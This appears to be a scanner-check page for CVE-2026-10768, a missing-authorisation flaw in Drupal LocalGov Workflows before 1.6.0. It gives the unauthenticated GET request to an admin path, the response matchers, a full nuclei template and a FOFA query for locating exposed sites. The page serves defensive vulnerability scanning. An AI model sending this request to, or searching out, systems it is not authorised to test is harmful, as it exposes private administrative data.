Drupal LocalGov Workflows < 1.6.0 - Information Disclosure

highseverity

7.5CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

Drupal LocalGov Workflows < 1.6.0 contains a broken access control vulnerability caused by missing authorization checks, letting attackers perform forceful browsing to access unauthorized resources, exploit requires no special privileges.

Impact

Attackers can access unauthorized resources, potentially exposing sensitive data or functionality.

Fix

Update to a version later than 1.6.0 or the latest available version.

How to confirm it

Send: GET /admin/content/localgov-service-contact/content-by-owner
Positive when: contains_all(body, 'views-field-title', 'views-field-user', 'views-field-status') and contains(body, 'view-id-localgov_content_by_owner') and !contains(body, 'views-empty') and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-10768 -u <target>

The full check

id: CVE-2026-10768

info:
  name: Drupal LocalGov Workflows < 1.6.0 - Information Disclosure
  author: str4k3r
  severity: high
  description: |
    Drupal LocalGov Workflows < 1.6.0 contains a broken access control vulnerability caused by missing authorization checks, letting attackers perform forceful browsing to access unauthorized resources, exploit requires no special privileges.
  impact: |
    Attackers can access unauthorized resources, potentially exposing sensitive data or functionality.
  remediation: |
    Update to a version later than 1.6.0 or the latest available version.
  reference:
    - https://www.drupal.org/sa-contrib-2026-039
    - https://www.drupal.org/project/localgov_workflows/releases/1.6.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-10768
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-10768
    epss-score: 0.02126
    epss-percentile: 0.82072
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 1
    vendor: drupal
    product: localgov_workflows
    framework: drupal
    fofa-query: 'body="/modules/contrib/localgov"'
  tags: cve,cve2026,drupal,localgov,exposure

http:
  - raw:
      - |
        GET /admin/content/localgov-service-contact/content-by-owner HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, 'views-field-title', 'views-field-user', 'views-field-status')"
          - "contains(body, 'view-id-localgov_content_by_owner')"
          - "!contains(body, 'views-empty')"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from